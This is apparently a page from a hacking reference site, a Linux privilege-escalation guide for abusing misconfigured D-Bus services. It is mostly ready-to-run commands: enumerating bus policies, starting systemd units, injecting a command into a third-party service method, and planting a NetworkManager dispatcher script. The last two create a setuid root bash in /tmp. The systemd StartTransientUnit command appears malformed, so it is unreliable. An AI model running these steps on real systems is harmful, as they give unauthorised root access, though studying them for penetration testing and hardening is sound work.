# D-Bus Misconfiguration Privilege Escalation

> Exploit misconfigured D-Bus services on Linux to escalate privileges by abusing insecure policy rules, exposed interfaces, and unauthorized method calls.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/dbus-privilege-escalation
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-02

D-Bus is the inter-process communication system used by most Linux desktop and server services. System services expose methods over D-Bus that perform privileged operations. If a service's D-Bus policy permits unprivileged callers to invoke methods that execute commands, write files, or manage system state, you can escalate privileges without any exploit: just call the method.

D-Bus escalation vectors covered here:

- Misconfigured systemd method access via D-Bus
- Custom service methods with insufficient access controls
- NetworkManager dispatcher script abuse

## Prerequisites Check

Check if D-Bus is running:

```bash
systemctl status dbus 2>/dev/null || systemctl status messagebus 2>/dev/null
ps aux | grep dbus
```

List system bus services: these are the privileged ones worth targeting:

```bash
busctl list 2>/dev/null
dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListNames 2>/dev/null | grep '"' | tr -d '"' | tr ' ' '\n'
```

Check D-Bus policy files for permissive rules:

```bash
ls /etc/dbus-1/system.d/ /usr/share/dbus-1/system.d/ 2>/dev/null
grep -r "allow\|send_destination\|receive_sender" /etc/dbus-1/system.d/ /usr/share/dbus-1/system.d/ 2>/dev/null | grep -v "^Binary"
```

## Finding D-Bus Privilege Escalation Policies

A permissive policy grants unprivileged users access to call methods on a service. Look for policies that allow sending to a destination without requiring a specific user or group:

```bash
# Find policies with broad allow rules
grep -r "allow" /etc/dbus-1/system.d/ /usr/share/dbus-1/system.d/ 2>/dev/null | grep -v "<!--\|send_type=\"signal\"\|receive_type" | head -30
```

Dangerous patterns:

```
<!-- Dangerous: allows any user to call any method -->
<allow send_destination="com.example.Service"/>

<!-- Dangerous: allows any user to call specific method -->
<allow send_destination="com.example.Service" send_interface="com.example.Interface" send_member="RunCommand"/>
```

## Introspecting a Target Service

Once you identify a service worth targeting, introspect its interface to see available methods:

```bash
# Get the object paths
busctl introspect org.freedesktop.systemd1 /org/freedesktop/systemd1 2>/dev/null

# Or with dbus-send
dbus-send --system --print-reply --dest=org.freedesktop.systemd1 / org.freedesktop.DBus.Introspectable.Introspect 2>/dev/null

# List methods on a specific interface
busctl introspect com.example.Service /com/example/Object 2>/dev/null
```

Look for methods with names suggesting command execution: `Exec`, `Run`, `Execute`, `Start`, `Install`, `Update`.

## Technique 1: systemd via D-Bus (Misconfigured Policy)

Some systems allow unprivileged users to start/stop services via D-Bus without Polkit. If `org.freedesktop.systemd1` allows your user to manage units:

```bash
# Start a custom service via D-Bus
busctl call org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager StartUnit "ss" "your-service.service" "replace" 2>/dev/null

# If allowed: create a transient unit that runs as root
busctl call org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager StartTransientUnit "ssa(sv)a(sa(sv))" "privesc.service" "replace" 2 "Description" s "privesc" "ExecStart" a(sv) 1 "" r 1 "value" 0 2>/dev/null
```

The standard path for systemd/Polkit escalation is covered at [https://hackindex.io/platforms/linux/privilege-escalation/polkit-local-auth-escalation](https://hackindex.io/platforms/linux/privilege-escalation/polkit-local-auth-escalation).

## Technique 2: Custom Service Method Injection

Third-party applications frequently expose D-Bus methods with insufficient access controls. Find and call them:

```bash
# Find third-party D-Bus services (not org.freedesktop or org.gnome)
busctl list 2>/dev/null | grep -v "^org.freedesktop\|^org.gnome\|^org.kde\|^com.ubuntu\|^-"

# Introspect a custom service
TARGET="com.company.appservice"
busctl introspect $TARGET / 2>/dev/null
busctl tree $TARGET 2>/dev/null
```

For each interesting object path, introspect the interface:

```bash
busctl introspect $TARGET /com/company/Object 2>/dev/null
```

Call a method that accepts a command argument:

```bash
# Example: method takes a string (command) argument
busctl call $TARGET /com/company/Object com.company.Interface RunBackup "s" "id; cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash"
```

## Technique 3: NetworkManager D-Bus Abuse

NetworkManager exposes D-Bus methods that on some versions allow unprivileged script execution via connection profiles:

```bash
# Check NetworkManager version
nmcli --version

# List connections
nmcli connection show

# Create a connection with a dangerous dispatcher script (requires write to dispatcher directory)
ls -la /etc/NetworkManager/dispatcher.d/
find /etc/NetworkManager/dispatcher.d/ -writable 2>/dev/null
```

If the dispatcher directory is writable:

```bash
cat > /etc/NetworkManager/dispatcher.d/99-privesc << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF
chmod +x /etc/NetworkManager/dispatcher.d/99-privesc
```

Trigger a network event (connect/disconnect) to fire the dispatcher.

## Using d-feet for Enumeration (GUI)

If you have GUI access, `d-feet` provides a graphical D-Bus browser:

```bash
apt install d-feet 2>/dev/null
d-feet
```

Browse system bus services, inspect interfaces, and call methods interactively. Useful for understanding a service's attack surface before writing a command-line exploit.

## References

- [D-Bus Documentation Architecture,](https://www.freedesktop.org/wiki/Software/dbus/) - policy file format, and security model documentation.
- [busctl(1) Manual](https://man7.org/linux/man-pages/man1/busctl.1.html) - D-Bus introspection and method calling from the command line.
- [D-Bus Specification](https://dbus.freedesktop.org/doc/dbus-specification.html) - Full message format, interface conventions, and policy rules reference.